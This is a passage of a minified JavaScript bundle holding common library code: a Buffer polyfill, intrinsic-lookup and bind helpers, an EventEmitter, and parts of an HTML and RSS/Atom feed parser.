0;if(t<0)throw new RangeError("targetStart out of bounds");if(r<0||r>=this.length)throw new RangeError("Index out of range");if(s<0)throw new RangeError("sourceEnd out of bounds");s>this.length&&(s=this.length),e.length-t<s-r&&(s=e.length-t+r);var n=s-r;return this===e&&"function"==typeof Uint8Array.prototype.copyWithin?this.copyWithin(t,r,s):Uint8Array.prototype.set.call(e,this.subarray(r,s),t),n},l.prototype.fill=function(e,t,r,s){if("string"==typeof e){if("string"==typeof t?(s=t,t=0,r=this.length):"string"==typeof r&&(s=r,r=this.length),void 0!==s&&"string"!=typeof s)throw new TypeError("encoding must be a string");if("string"==typeof s&&!l.isEncoding(s))throw new TypeError("Unknown encoding: "+s);if(1===e.length){var n=e.charCodeAt(0);("utf8"===s&&n<128||"latin1"===s)&&(e=n)}}else"number"==typeof e?e&=255:"boolean"==typeof e&&(e=Number(e));if(t<0||this.length<t||this.length<r)throw new RangeError("Out of range index");if(r<=t)return this;var i;if(t>>>=0,r=void 0===r?this.length:r>>>0,e||(e=0),"number"==typeof e)for(i=t;i<r;++i)this[i]=e;else{var a=l.isBuffer(e)?e:l.from(e,s),o=a.length;if(0===o)throw new TypeError('The value "'+e+'" is invalid for argument "value"');for(i=0;i<r-t;++i)this[i+t]=a[i%o]}return this};var F=/[^+/0-9A-Za-z-_]/g;function U(e,t){var r;t=t||1/0;for(var s=e.length,n=null,i=[],a=0;a<s;++a){if((r=e.charCodeAt(a))>55295&&r<57344){if(!n){if(r>56319){(t-=3)>-1&&i.push(239,191,189);continue}if(a+1===s){(t-=3)>-1&&i.push(239,191,189);continue}n=r;continue}if(r<56320){(t-=3)>-1&&i.push(239,191,189),n=r;continue}r=65536+(n-55296<<10|r-56320)}else n&&(t-=3)>-1&&i.push(239,191,189);if(n=null,r<128){if((t-=1)<0)break;i.push(r)}else if(r<2048){if((t-=2)<0)break;i.push(r>>6|192,63&r|128)}else if(r<65536){if((t-=3)<0)break;i.push(r>>12|224,r>>6&63|128,63&r|128)}else{if(!(r<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;i.push(r>>18|240,r>>12&63|128,r>>6&63|128,63&r|128)}}return i}function B(e){return s.toByteArray(function(e){if((e=(e=e.split("=")[0]).trim().replace(F,"")).length<2)return"";for(;e.length%4!=0;)e+="=";return e}(e))}function G(e,t,r,s){for(var n=0;n<s&&!(n+r>=t.length||n>=e.length);++n)t[n+r]=e[n];return n}function H(e,t){return e instanceof t||null!=e&&null!=e.constructor&&null!=e.constructor.name&&e.constructor.name===t.name}function j(e){return e!=e}var $=function(){for(var e="0123456789abcdef",t=new Array(256),r=0;r<16;++r)for(var s=16*r,n=0;n<16;++n)t[s+n]=e[r]+e[n];return t}()},21924:(e,t,r)=>{"use strict";var s=r(10492),n=r(55559),i=n(s("String.prototype.indexOf"));e.exports=function(e,t){var r=s(e,!!t);return"function"==typeof r&&i(e,".prototype.")>-1?n(r):r}},55559:(e,t,r)=>{"use strict";var s=r(58612),n=r(10492),i=n("%Function.prototype.apply%"),a=n("%Function.prototype.call%"),o=n("%Reflect.apply%",!0)||s.call(a,i),l=n("%Object.getOwnPropertyDescriptor%",!0),u=n("%Object.defineProperty%",!0),c=n("%Math.max%");if(u)try{u({},"a",{value:1})}catch(e){u=null}e.exports=function(e){var t=o(s,a,arguments);return l&&u&&l(t,"length").configurable&&u(t,"length",{value:1+c(0,e.length-(arguments.length-1))}),t};var d=function(){return o(s,i,arguments)};u?u(e.exports,"apply",{value:d}):e.exports.apply=d},10492:(e,t,r)=>{"use strict";var s,n=SyntaxError,i=Function,a=TypeError,o=function(e){try{return i('"use strict"; return ('+e+").constructor;")()}catch(e){}},l=Object.getOwnPropertyDescriptor;if(l)try{l({},"")}catch(e){l=null}var u=function(){throw new a},c=l?function(){try{return u}catch(e){try{return l(arguments,"callee").get}catch(e){return u}}}():u,d=r(38626)(),h=Object.getPrototypeOf||function(e){return e.__proto__},f={},p="undefined"==typeof Uint8Array?s:h(Uint8Array),g={"%AggregateError%":"undefined"==typeof AggregateError?s:AggregateError,"%Array%":Array,"%ArrayBuffer%":"undefined"==typeof ArrayBuffer?s:ArrayBuffer,"%ArrayIteratorPrototype%":d?h([][Symbol.iterator]()):s,"%AsyncFromSyncIteratorPrototype%":s,"%AsyncFunction%":f,"%AsyncGenerator%":f,"%AsyncGeneratorFunction%":f,"%AsyncIteratorPrototype%":f,"%Atomics%":"undefined"==typeof Atomics?s:Atomics,"%BigInt%":"undefined"==typeof BigInt?s:BigInt,"%Boolean%":Boolean,"%DataView%":"undefined"==typeof DataView?s:DataView,"%Date%":Date,"%decodeURI%":decodeURI,"%decodeURIComponent%":decodeURIComponent,"%encodeURI%":encodeURI,"%encodeURIComponent%":encodeURIComponent,"%Error%":Error,"%eval%":eval,"%EvalError%":EvalError,"%Float32Array%":"undefined"==typeof Float32Array?s:Float32Array,"%Float64Array%":"undefined"==typeof Float64Array?s:Float64Array,"%FinalizationRegistry%":"undefined"==typeof FinalizationRegistry?s:FinalizationRegistry,"%Function%":i,"%GeneratorFunction%":f,"%Int8Array%":"undefined"==typeof Int8Array?s:Int8Array,"%Int16Array%":"undefined"==typeof Int16Array?s:Int16Array,"%Int32Array%":"undefined"==typeof Int32Array?s:Int32Array,"%isFinite%":isFinite,"%isNaN%":isNaN,"%IteratorPrototype%":d?h(h([][Symbol.iterator]())):s,"%JSON%":"object"==typeof JSON?JSON:s,"%Map%":"undefined"==typeof Map?s:Map,"%MapIteratorPrototype%":"undefined"!=typeof Map&&d?h((new Map)[Symbol.iterator]()):s,"%Math%":Math,"%Number%":Number,"%Object%":Object,"%parseFloat%":parseFloat,"%parseInt%":parseInt,"%Promise%":"undefined"==typeof Promise?s:Promise,"%Proxy%":"undefined"==typeof Proxy?s:Proxy,"%RangeError%":RangeError,"%ReferenceError%":ReferenceError,"%Reflect%":"undefined"==typeof Reflect?s:Reflect,"%RegExp%":RegExp,"%Set%":"undefined"==typeof Set?s:Set,"%SetIteratorPrototype%":"undefined"!=typeof Set&&d?h((new Set)[Symbol.iterator]()):s,"%SharedArrayBuffer%":"undefined"==typeof SharedArrayBuffer?s:SharedArrayBuffer,"%String%":String,"%StringIteratorPrototype%":d?h(""[Symbol.iterator]()):s,"%Symbol%":d?Symbol:s,"%SyntaxError%":n,"%ThrowTypeError%":c,"%TypedArray%":p,"%TypeError%":a,"%Uint8Array%":"undefined"==typeof Uint8Array?s:Uint8Array,"%Uint8ClampedArray%":"undefined"==typeof Uint8ClampedArray?s:Uint8ClampedArray,"%Uint16Array%":"undefined"==typeof Uint16Array?s:Uint16Array,"%Uint32Array%":"undefined"==typeof Uint32Array?s:Uint32Array,"%URIError%":URIError,"%WeakMap%":"undefined"==typeof WeakMap?s:WeakMap,"%WeakRef%":"undefined"==typeof WeakRef?s:WeakRef,"%WeakSet%":"undefined"==typeof WeakSet?s:WeakSet},m=function e(t){var r;if("%AsyncFunction%"===t)r=o("async function () {}");else if("%GeneratorFunction%"===t)r=o("function* () {}");else if("%AsyncGeneratorFunction%"===t)r=o("async function* () {}");else if("%AsyncGenerator%"===t){var s=e("%AsyncGeneratorFunction%");s&&(r=s.prototype)}else if("%AsyncIteratorPrototype%"===t){var n=e("%AsyncGenerator%");n&&(r=h(n.prototype))}return g[t]=r,r},_={"%ArrayBufferPrototype%":["ArrayBuffer","prototype"],"%ArrayPrototype%":["Array","prototype"],"%ArrayProto_entries%":["Array","prototype","entries"],"%ArrayProto_forEach%":["Array","prototype","forEach"],"%ArrayProto_keys%":["Array","prototype","keys"],"%ArrayProto_values%":["Array","prototype","values"],"%AsyncFunctionPrototype%":["AsyncFunction","prototype"],"%AsyncGenerator%":["AsyncGeneratorFunction","prototype"],"%AsyncGeneratorPrototype%":["AsyncGeneratorFunction","prototype","prototype"],"%BooleanPrototype%":["Boolean","prototype"],"%DataViewPrototype%":["DataView","prototype"],"%DatePrototype%":["Date","prototype"],"%ErrorPrototype%":["Error","prototype"],"%EvalErrorPrototype%":["EvalError","prototype"],"%Float32ArrayPrototype%":["Float32Array","prototype"],"%Float64ArrayPrototype%":["Float64Array","prototype"],"%FunctionPrototype%":["Function","prototype"],"%Generator%":["GeneratorFunction","prototype"],"%GeneratorPrototype%":["GeneratorFunction","prototype","prototype"],"%Int8ArrayPrototype%":["Int8Array","prototype"],"%Int16ArrayPrototype%":["Int16Array","prototype"],"%Int32ArrayPrototype%":["Int32Array","prototype"],"%JSONParse%":["JSON","parse"],"%JSONStringify%":["JSON","stringify"],"%MapPrototype%":["Map","prototype"],"%NumberPrototype%":["Number","prototype"],"%ObjectPrototype%":["Object","prototype"],"%ObjProto_toString%":["Object","prototype","toString"],"%ObjProto_valueOf%":["Object","prototype","valueOf"],"%PromisePrototype%":["Promise","prototype"],"%PromiseProto_then%":["Promise","prototype","then"],"%Promise_all%":["Promise","all"],"%Promise_reject%":["Promise","reject"],"%Promise_resolve%":["Promise","resolve"],"%RangeErrorPrototype%":["RangeError","prototype"],"%ReferenceErrorPrototype%":["ReferenceError","prototype"],"%RegExpPrototype%":["RegExp","prototype"],"%SetPrototype%":["Set","prototype"],"%SharedArrayBufferPrototype%":["SharedArrayBuffer","prototype"],"%StringPrototype%":["String","prototype"],"%SymbolPrototype%":["Symbol","prototype"],"%SyntaxErrorPrototype%":["SyntaxError","prototype"],"%TypedArrayPrototype%":["TypedArray","prototype"],"%TypeErrorPrototype%":["TypeError","prototype"],"%Uint8ArrayPrototype%":["Uint8Array","prototype"],"%Uint8ClampedArrayPrototype%":["Uint8ClampedArray","prototype"],"%Uint16ArrayPrototype%":["Uint16Array","prototype"],"%Uint32ArrayPrototype%":["Uint32Array","prototype"],"%URIErrorPrototype%":["URIError","prototype"],"%WeakMapPrototype%":["WeakMap","prototype"],"%WeakSetPrototype%":["WeakSet","prototype"]},T=r(58612),E=r(17642),A=T.call(Function.call,Array.prototype.concat),y=T.call(Function.apply,Array.prototype.splice),v=T.call(Function.call,String.prototype.replace),b=T.call(Function.call,String.prototype.slice),O=/[^%.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|%$))/g,S=/\\(\\)?/g,I=function(e,t){var r,s=e;if(E(_,s)&&(s="%"+(r=_[s])[0]+"%"),E(g,s)){var i=g[s];if(i===f&&(i=m(s)),void 0===i&&!t)throw new a("intrinsic "+e+" exists, but is not available. Please file an issue!");return{alias:r,name:s,value:i}}throw new n("intrinsic "+e+" does not exist!")};e.exports=function(e,t){if("string"!=typeof e||0===e.length)throw new a("intrinsic name must be a non-empty string");if(arguments.length>1&&"boolean"!=typeof t)throw new a('"allowMissing" argument must be a boolean');var r=function(e){var t=b(e,0,1),r=b(e,-1);if("%"===t&&"%"!==r)throw new n("invalid intrinsic syntax, expected closing `%`");if("%"===r&&"%"!==t)throw new n("invalid intrinsic syntax, expected opening `%`");var s=[];return v(e,O,(function(e,t,r,n){s[s.length]=r?v(n,S,"$1"):t||e})),s}(e),s=r.length>0?r[0]:"",i=I("%"+s+"%",t),o=i.name,u=i.value,c=!1,d=i.alias;d&&(s=d[0],y(r,A([0,1],d)));for(var h=1,f=!0;h<r.length;h+=1){var p=r[h],m=b(p,0,1),_=b(p,-1);if(('"'===m||"'"===m||"`"===m||'"'===_||"'"===_||"`"===_)&&m!==_)throw new n("property names with quotes must have matching quotes");if("constructor"!==p&&f||(c=!0),E(g,o="%"+(s+="."+p)+"%"))u=g[o];else if(null!=u){if(!(p in u)){if(!t)throw new a("base intrinsic for "+e+" exists, but the property is not available.");return}if(l&&h+1>=r.length){var T=l(u,p);u=(f=!!T)&&"get"in T&&!("originalValue"in T.get)?T.get:u[p]}else f=E(u,p),u=u[p];f&&!c&&(g[o]=u)}}return u}},38626:(e,t,r)=>{"use strict";var s="undefined"!=typeof Symbol&&Symbol,n=r(19305);e.exports=function(){return"function"==typeof s&&"function"==typeof Symbol&&"symbol"==typeof s("foo")&&"symbol"==typeof Symbol("bar")&&n()}},19305:e=>{"use strict";e.exports=function(){if("function"!=typeof Symbol||"function"!=typeof Object.getOwnPropertySymbols)return!1;if("symbol"==typeof Symbol.iterator)return!0;var e={},t=Symbol("test"),r=Object(t);if("string"==typeof t)return!1;if("[object Symbol]"!==Object.prototype.toString.call(t))return!1;if("[object Symbol]"!==Object.prototype.toString.call(r))return!1;for(t in e[t]=42,e)return!1;if("function"==typeof Object.keys&&0!==Object.keys(e).length)return!1;if("function"==typeof Object.getOwnPropertyNames&&0!==Object.getOwnPropertyNames(e).length)return!1;var s=Object.getOwnPropertySymbols(e);if(1!==s.length||s[0]!==t)return!1;if(!Object.prototype.propertyIsEnumerable.call(e,t))return!1;if("function"==typeof Object.getOwnPropertyDescriptor){var n=Object.getOwnPropertyDescriptor(e,t);if(42!==n.value||!0!==n.enumerable)return!1}return!0}},17187:e=>{"use strict";var t,r="object"==typeof Reflect?Reflect:null,s=r&&"function"==typeof r.apply?r.apply:function(e,t,r){return Function.prototype.apply.call(e,t,r)};t=r&&"function"==typeof r.ownKeys?r.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var n=Number.isNaN||function(e){return e!=e};function i(){i.init.call(this)}e.exports=i,e.exports.once=function(e,t){return new Promise((function(r,s){function n(r){e.removeListener(t,i),s(r)}function i(){"function"==typeof e.removeListener&&e.removeListener("error",n),r([].slice.call(arguments))}g(e,t,i,{once:!0}),"error"!==t&&function(e,t,r){"function"==typeof e.on&&g(e,"error",t,{once:!0})}(e,n)}))},i.EventEmitter=i,i.prototype._events=void 0,i.prototype._eventsCount=0,i.prototype._maxListeners=void 0;var a=10;function o(e){if("function"!=typeof e)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof e)}function l(e){return void 0===e._maxListeners?i.defaultMaxListeners:e._maxListeners}function u(e,t,r,s){var n,i,a,u;if(o(r),void 0===(i=e._events)?(i=e._events=Object.create(null),e._eventsCount=0):(void 0!==i.newListener&&(e.emit("newListener",t,r.listener?r.listener:r),i=e._events),a=i[t]),void 0===a)a=i[t]=r,++e._eventsCount;else if("function"==typeof a?a=i[t]=s?[r,a]:[a,r]:s?a.unshift(r):a.push(r),(n=l(e))>0&&a.length>n&&!a.warned){a.warned=!0;var c=new Error("Possible EventEmitter memory leak detected. "+a.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");c.name="MaxListenersExceededWarning",c.emitter=e,c.type=t,c.count=a.length,u=c,console&&console.warn&&console.warn(u)}return e}function c(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function d(e,t,r){var s={fired:!1,wrapFn:void 0,target:e,type:t,listener:r},n=c.bind(s);return n.listener=r,s.wrapFn=n,n}function h(e,t,r){var s=e._events;if(void 0===s)return[];var n=s[t];return void 0===n?[]:"function"==typeof n?r?[n.listener||n]:[n]:r?function(e){for(var t=new Array(e.length),r=0;r<t.length;++r)t[r]=e[r].listener||e[r];return t}(n):p(n,n.length)}function f(e){var t=this._events;if(void 0!==t){var r=t[e];if("function"==typeof r)return 1;if(void 0!==r)return r.length}return 0}function p(e,t){for(var r=new Array(t),s=0;s<t;++s)r[s]=e[s];return r}function g(e,t,r,s){if("function"==typeof e.on)s.once?e.once(t,r):e.on(t,r);else{if("function"!=typeof e.addEventListener)throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof e);e.addEventListener(t,(function n(i){s.once&&e.removeEventListener(t,n),r(i)}))}}Object.defineProperty(i,"defaultMaxListeners",{enumerable:!0,get:function(){return a},set:function(e){if("number"!=typeof e||e<0||n(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");a=e}}),i.init=function(){void 0!==this._events&&this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},i.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||n(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},i.prototype.getMaxListeners=function(){return l(this)},i.prototype.emit=function(e){for(var t=[],r=1;r<arguments.length;r++)t.push(arguments[r]);var n="error"===e,i=this._events;if(void 0!==i)n=n&&void 0===i.error;else if(!n)return!1;if(n){var a;if(t.length>0&&(a=t[0]),a instanceof Error)throw a;var o=new Error("Unhandled error."+(a?" ("+a.message+")":""));throw o.context=a,o}var l=i[e];if(void 0===l)return!1;if("function"==typeof l)s(l,this,t);else{var u=l.length,c=p(l,u);for(r=0;r<u;++r)s(c[r],this,t)}return!0},i.prototype.addListener=function(e,t){return u(this,e,t,!1)},i.prototype.on=i.prototype.addListener,i.prototype.prependListener=function(e,t){return u(this,e,t,!0)},i.prototype.once=function(e,t){return o(t),this.on(e,d(this,e,t)),this},i.prototype.prependOnceListener=function(e,t){return o(t),this.prependListener(e,d(this,e,t)),this},i.prototype.removeListener=function(e,t){var r,s,n,i,a;if(o(t),void 0===(s=this._events))return this;if(void 0===(r=s[e]))return this;if(r===t||r.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete s[e],s.removeListener&&this.emit("removeListener",e,r.listener||t));else if("function"!=typeof r){for(n=-1,i=r.length-1;i>=0;i--)if(r[i]===t||r[i].listener===t){a=r[i].listener,n=i;break}if(n<0)return this;0===n?r.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(r,n),1===r.length&&(s[e]=r[0]),void 0!==s.removeListener&&this.emit("removeListener",e,a||t)}return this},i.prototype.off=i.prototype.removeListener,i.prototype.removeAllListeners=function(e){var t,r,s;if(void 0===(r=this._events))return this;if(void 0===r.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==r[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete r[e]),this;if(0===arguments.length){var n,i=Object.keys(r);for(s=0;s<i.length;++s)"removeListener"!==(n=i[s])&&this.removeAllListeners(n);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=r[e]))this.removeListener(e,t);else if(void 0!==t)for(s=t.length-1;s>=0;s--)this.removeListener(e,t[s]);return this},i.prototype.listeners=function(e){return h(this,e,!0)},i.prototype.rawListeners=function(e){return h(this,e,!1)},i.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):f.call(e,t)},i.prototype.listenerCount=f,i.prototype.eventNames=function(){return this._eventsCount>0?t(this._events):[]}},17648:e=>{"use strict";var t=Array.prototype.slice,r=Object.prototype.toString;e.exports=function(e){var s=this;if("function"!=typeof s||"[object Function]"!==r.call(s))throw new TypeError("Function.prototype.bind called on incompatible "+s);for(var n,i=t.call(arguments,1),a=Math.max(0,s.length-i.length),o=[],l=0;l<a;l++)o.push("$"+l);if(n=Function("binder","return function ("+o.join(",")+"){ return binder.apply(this,arguments); }")((function(){if(this instanceof n){var r=s.apply(this,i.concat(t.call(arguments)));return Object(r)===r?r:this}return s.apply(e,i.concat(t.call(arguments)))})),s.prototype){var u=function(){};u.prototype=s.prototype,n.prototype=new u,u.prototype=null}return n}},58612:(e,t,r)=>{"use strict";var s=r(17648);e.exports=Function.prototype.bind||s},17642:(e,t,r)=>{"use strict";var s=r(58612);e.exports=s.call(Function.call,Object.prototype.hasOwnProperty)},95449:(e,t,r)=>{function s(e){this._cbs=e||{},this.events=[]}e.exports=s;var n=r(23719).EVENTS;Object.keys(n).forEach((function(e){if(0===n[e])e="on"+e,s.prototype[e]=function(){this.events.push([e]),this._cbs[e]&&this._cbs[e]()};else if(1===n[e])e="on"+e,s.prototype[e]=function(t){this.events.push([e,t]),this._cbs[e]&&this._cbs[e](t)};else{if(2!==n[e])throw Error("wrong number of arguments");e="on"+e,s.prototype[e]=function(t,r){this.events.push([e,t,r]),this._cbs[e]&&this._cbs[e](t,r)}}})),s.prototype.onreset=function(){this.events=[],this._cbs.onreset&&this._cbs.onreset()},s.prototype.restart=function(){this._cbs.onreset&&this._cbs.onreset();for(var e=0,t=this.events.length;e<t;e++)if(this._cbs[this.events[e][0]]){var r=this.events[e].length;1===r?this._cbs[this.events[e][0]]():2===r?this._cbs[this.events[e][0]](this.events[e][1]):this._cbs[this.events[e][0]](this.events[e][1],this.events[e][2])}}},63870:(e,t,r)=>{var s=r(29730),n=r(29443);function i(e,t){this.init(e,t)}function a(e,t){return n.getElementsByTagName(e,t,!0)}function o(e,t){return n.getElementsByTagName(e,t,!0,1)[0]}function l(e,t,r){return n.getText(n.getElementsByTagName(e,t,r,1)).trim()}function u(e,t,r,s,n){var i=l(r,s,n);i&&(e[t]=i)}r(35717)(i,s),i.prototype.init=s;var c=function(e){return"rss"===e||"feed"===e||"rdf:RDF"===e};i.prototype.onend=function(){var e,t,r={},n=o(c,this.dom);n&&("feed"===n.name?(t=n.children,r.type="atom",u(r,"id","id",t),u(r,"title","title",t),(e=o("link",t))&&(e=e.attribs)&&(e=e.href)&&(r.link=e),u(r,"description","subtitle",t),(e=l("updated",t))&&(r.updated=new Date(e)),u(r,"author","email",t,!0),r.items=a("entry",t).map((function(e){var t,r={};return u(r,"id","id",e=e.children),u(r,"title","title",e),(t=o("link",e))&&(t=t.attribs)&&(t=t.href)&&(r.link=t),(t=l("summary",e)||l("content",e))&&(r.description=t),(t=l("updated",e))&&(r.pubDate=new Date(t)),r}))):(t=o("channel",n.children).children,r.type=n.name.substr(0,3),r.id="",u(r,"title","title",t),u(r,"link","link",t),u(r,"description","description",t),(e=l("lastBuildDate",t))&&(r.updated=new Date(e)),u(r,"author","managingEditor",t,!0),r.items=a("item",n.children).map((function(e){var t,r={};return u(r,"id","guid",e=e.children),u(r,"title","title",e),u(r,"link","link",e),u(r,"description","description",e),(t=l("pubDate",e))&&(r.pubDate=new Date(t)),r})))),this.dom=r,s.prototype._handleCallback.call(this,n?null:Error("couldn't find root of feed"))},e.exports=i},50763:(e,t,r)=>{var s=r(39889),n={input:!0,option:!0,optgroup:!0,select:!0,button:!0,datalist:!0,textarea:!0},i={tr:{tr:!0,th:!0,td:!0},th:{th:!0},td:{thead:!0,th:!0,td:!0},body:{head:!0,link:!0,script:!0},li:{li:!0},p:{p:!0},h1:{p:!0},h2:{p:!0},h3:{p:!0},h4:{p:!0},h5:{p:!0},h6:{p:!0},select:n,input:n,output:n,button:n,datalist:n,textarea:n,option:{option:!0},optgroup:{optgroup:!0}},a={__proto__:null,area:!0,base:!0,basefont:!0,br:!0,col:!0,command:!0,embed:!0,frame:!0,hr:!0,img:!0,input:!0,isindex:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0},o={__proto__:null,math:!0,svg:!0},l={__proto__:null,mi:!0,mo:!0,mn:!0,ms:!0,mtext:!0,"annotation-xml":!0,foreignObject:!0,desc:!0,title:!0},u=/\s|\//;function c(e,t){this._options=t||{},this._cbs=e||{},this._tagname="",this._attribname="",this._attribvalue="",this._attribs=null,this._stack=[],this._foreignContext=[],this.startIndex=0,this.endIndex=null,this._lowerCaseTagNames="lowerCaseTags"in this._options?!!this._options.lowerCaseTags:!this._options.xmlMode,this._lowerCaseAttributeNames="lowerCaseAttributeNames"in this._options?!!this._options.lowerCaseAttributeNames:!this._options.xmlMode,this._options.Tokenizer&&(s=this._options.Tokenizer),this._tokenizer=new s(this._options,this),this._cbs.onparserinit&&this._cbs.onparserinit(this)}r(35717)(c,r(17187).EventEmitter),c.prototype._updatePosition=function(e){null===this.endIndex?this._tokenizer._sectionStart<=e?this.startIndex=0:this.startIndex=this._tokenizer._sectionStart-e:this.startIndex=this.endIndex+1,this.endIndex=this._tokenizer.getAbsoluteIndex()},c.prototype.ontext=function(e){this._updatePosition(1),this.endIndex--,this._cbs.ontext&&this._cbs.ontext(e)},c.prototype.onopentagname=function(e){if(this._lowerCaseTagNames&&(e=e.toLowerCase()),this._tagname=e,!this._options.xmlMode&&e in i)for(var t;(t=this._stack[this._stack.length-1])in i[e];this.onclosetag(t));!this._options.xmlMode&&e in a||(this._stack.push(e),e in o?this._foreignContext.push(!0):e in l&&this._foreignContext.push(!1)),this._cbs.onopentagname&&this._cbs.onopentagname(e),this._cbs.onopentag&&(this._attribs={})},c.prototype.onopentagend=function(){this._updatePosition(1),this._attribs&&(this._cbs.onopentag&&this._cbs.onopentag(this._tagname,this._attribs),this._attribs=null),!this._options.xmlMode&&this._cbs.onclosetag&&this._tagname in a&&this._cbs.onclosetag(this._tagname),this._tagname=""},c.prototype.onclosetag=function(e){if(this._updatePosition(1),this._lowerCaseTagNames&&(e=e.toLowerCase()),(e in o||e in l)&&this._foreignContext.pop(),!this._stack.length||e in a&&!this._options.xmlMode)this._options.xmlMode||"br"!==e&&"p"!==e||(this.onopentagname(e),this._closeCurrentTag());else{var t=this._stack.lastIndexOf(e);if(-1!==t)if(this._cbs.onclosetag)for(t=this._stack.length-t;t--;)this._cbs.onclosetag(this._stack.pop());else this._stack.length=t;else"p"!==e||this._options.xmlMode||(this.onopentagname(e),this._closeCurrentTag())}},c.prototype.onselfclosingtag=function(){this._options.xmlMode||this._options.recognizeSelfClosing||this._foreignContext[this._foreignContext.length-1]?this._closeCurrentTag():this.onopentagend()},c.prototype._closeCurrentTag=function(){var e=this._tagname;this.onopentagend(),this._stack[this._stack.length-1]===e&&(this._cbs.onclosetag&&this._cbs.onclosetag(e),this._stack.pop())},c.prototype.onattribname=function(e){this._lowerCaseAttributeNames&&(e=e.toLowerCase()),this._attribname=e},c.prototype.onattribdata=function(e){this._attribvalue+=e},c.prototype.onattribend=function(){this._cbs.onattribute&&this._cbs.onattribute(this._attribname,this._attribvalue),this._attribs&&!Object.prototype.hasOwnProperty.call(this._attribs,this._attribname)&&(this._attribs[this._attribname]=this._attribvalue),this._attribname="",this._attribvalue=""},c.prototype._getInstructionName=function(e){var t=e.search(u),r=t<0?e:e.substr(0,t);return this._lowerCaseTagNames&&(r=r.toLowerCase()),r},c.prototype.ondeclaration=function(e){if(this._cbs.onprocessinginstruction){var t=this._getInstructionName(e);this._cbs.onprocessinginstruction("!"+t,"!"+e)}},c.prototype.onprocessinginstruction=function(e){if(this._cbs.onprocessinginstruction){var t=this._getInstructionName(e);this._cbs.onprocessinginstruction("?"+t,"?"+e)}},c.prototype.oncomment=function(e){this._updatePosition(4),this._cbs.oncomment&&this._cbs.oncomment(e),this._cbs.oncommentend&&this._cbs.oncommentend()},c.prototype.oncdata=function(e){this._updatePosition(1),this._options.xmlMode||this._options.recognizeCDATA?(this._cbs.oncdatastart&&this._cbs.oncdatastart(),this._cbs.ontext&&this._cbs.ontext(e),this._cbs.oncdataend&&this._cbs.oncdataend()):this.oncomment("[CDATA["+e+"]]")},c.prototype.onerror=function(e){this._cbs.onerror&&this._cbs.onerror(e)},c.prototype.onend=function(){if(this._cbs.onclosetag)for(var e=this._stack.length;e>0;this._cbs.onclosetag(this._stack[--e]));this._cbs.onend&&this._cbs.onend()},c.prototype.reset=function(){this._cbs.onreset&&this._cbs.onreset(),this._tokenizer.reset(),this._tagname="",this._attribname="",this._attribs=null,this._stack=[],this._cbs.onparserinit&&this._cbs.onparserinit(this)},c.prototype.parseComplete=function(e){this.reset(),this.end(e)},c.prototype.write=function(e){this._tokenizer.write(e)},c.prototype.end=function(e){this._tokenizer.end(e)},c.prototype.pause=function(){this._tokenizer.pause()},c.prototype.resume=function(){this._tokenizer.resume()},c.prototype.parseChunk=c.prototype.write,c.prototype.done=c.prototype.end,e.exports=c},76321:(e,t,r)=>{function s(e){this._cbs=e||{}}e.exports=s;var n=r(23719).EVENTS;Object.keys(n).forEach((function(e){if(0===n[e])e="on"+e,s.prototype[e]=function(){this._cbs[e]&&this._cbs[e]()};else if(1===n[e])e="on"+e,s.prototype[e]=function(t){this._cbs[e]&&this._cbs[e](t)};else{if(2!==n[e])throw Error("wrong number of arguments");e="on"+e,s.prototype[e]=function(t,r){this._cbs[e]&&this._cbs[e](t,r)}}}))},89924:(e,t,r)=>{e.exports=n;var s=r(83621);function n(e){s.call(this,new i(this),e)}function i(e){this.scope=e}r(35717)(n,s),n.prototype.readable=!0;var a=r(23719).EVENTS;Object.keys(a).forEach((function(e){if(0===a[e])i.prototype["on"+e]=function(){this.scope.emit(e)};else if(1===a[e])i.prototype["on"+e]=function(t){this.scope.emit(e,t)};else{if(2!==a[e])throw Error("wrong number of arguments!");i.prototype["on"+e]=function(t,r){this.scope.emit(e,t,r)}}}))},39889:(e,t,r)=>{e.exports=me;var s=r(58894),n=r(23042),i=r(60317),a=r(51373),o=0,l=o++,u=o++,c=o++,d=o++,h=o++,f=o++,p=o++,g=o++,m=o++,_=o++,T=o++,E=o++,A=o++,y=o++,v=o++,b=o++,O=o++,S=o++,I=o++,C=o++,N=o++,D=o++,w=o++,P=o++,R=o++,k=o++,L=o++,M=o++,x=o++,F=o++,U=o++,B=o++,G=o++,H=o++,j=o++,$=o++,W=o++,q=o++,V=o++,K=o++,Y=o++,z=o++,Q=o++,X=o++,J=o++,Z=o++,ee=o++,te=o++,re=o++,se=o++,ne=o++,ie=o++,ae=o++,oe=o++,le=o++,ue=0,ce=ue++,de=ue++,he=ue++;function fe(e){return" "===e||"\n"===e||"\t"===e||"\f"===e||"\r"===e}function pe(e,t,r){var s=e.toLowerCase();return e===s?function(e){e===s?this._state=t:(this._state=r,this._index--)}:function(n){n===s||n===e?this._state=t:(this._state=r,this._index--)}}function ge(e,t){var r=e.toLowerCase();return function(s){s===r||s===e?this._state=t:(this._state=c,this._index--)}}function 